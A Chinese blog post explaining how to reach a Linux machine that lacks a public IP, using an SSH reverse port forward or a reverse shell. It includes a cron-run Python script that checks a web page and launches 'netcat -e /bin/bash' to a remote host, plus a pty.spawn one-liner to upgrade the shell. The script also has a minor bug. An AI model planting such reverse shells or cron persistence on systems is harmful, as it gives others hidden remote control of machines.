从外网通过SSH连接内网Linux机器的方法(或叫内网穿透)

有一台Linux服务器没有公网IP,但是我希望能够随时使用SSH连接它,即使是与它不在同一个网络中的时候,因此我从网上查找了几种方法,并根据自己的需求进行了设置。当然,首先得有一台具有公网IP的服务器。

为了方便说明,假设A是我想访问的目标机器,只有局域网IP(如192.168.1.10),B是一台具有公网IP(如8.8.8.8)的远程服务器。主要有以下两种方法:

一、端口转发

参考 https://segmentfault.com/a/1190000002718360

# 在A上配置端口转发,需要输入B的密码,这样配置后可以在B上通过SSH访问A
ssh -fCNR <port_b>:localhost:22 <usr_b>@<ip_b>

进行内网穿透的时候默认只能穿透到远程服务器,远程服务器监听的是localhost的IP,因此我需要先SSH连接到远程服务器,再在远程服务器上使用ssh <use_a>@localhost -p <port_b>,想要监听公网IP的话需要打开sshd的GatewayPorts。这种做法的缺点是机器重启或异常中断后会失效。

二、反弹Shell

参考 http://www.hack80.com/thread-21802-1-1.html

#!/usr/bin/env python3

import subprocess, os
from urllib import request
"""
Ubuntu上默认安装的是netcat-openbsd,而不是经典的netcat-traditional:sudo apt-get -y install netcat-traditional
设置默认的nc,选择/bin/nc.traditional: sudo update-alternatives –config nc
"""
# shell.py
def connect_shell():
    try:
        output = subprocess.check_output('netcat -e /bin/bash 8.8.8.8 10080', shell=True)
    except:
        output = e.output
        code = e.returncode
        print('netcat Error', output, code)

# Check "http://8.8.8.8/1.html" to confirm whether a connection is needed
response = request.urlopen(r'http://8.8.8.8/1.html')
page = response.read().decode('utf-8').strip()
if page == '1':
    # Check if connection exists
    try:
        output = subprocess.check_output('netstat -an | grep EST | grep 8.8.8.8:10080', shell=True)
    except subprocess.CalledProcessError as e:
        output = e.output
        code = e.returncode
        print('netstat grep Error', output, code)
        connect_shell()
elif page == '2':
    connect_shell()

利用crontab运行定时任务,定时任务代码如下:

*/1 * * * * /usr/bin/python3 /home/jinxiaohui/shell/shell.py

如果想获得可交互的shell,可以在反弹shell后执行以下代码

# 获得交互shell
python -c 'import pty; pty.spawn("/bin/bash")'
posted @ 2017-05-18 21:25  HitAnyKey  阅读(2283)  评论(0编辑  收藏  举报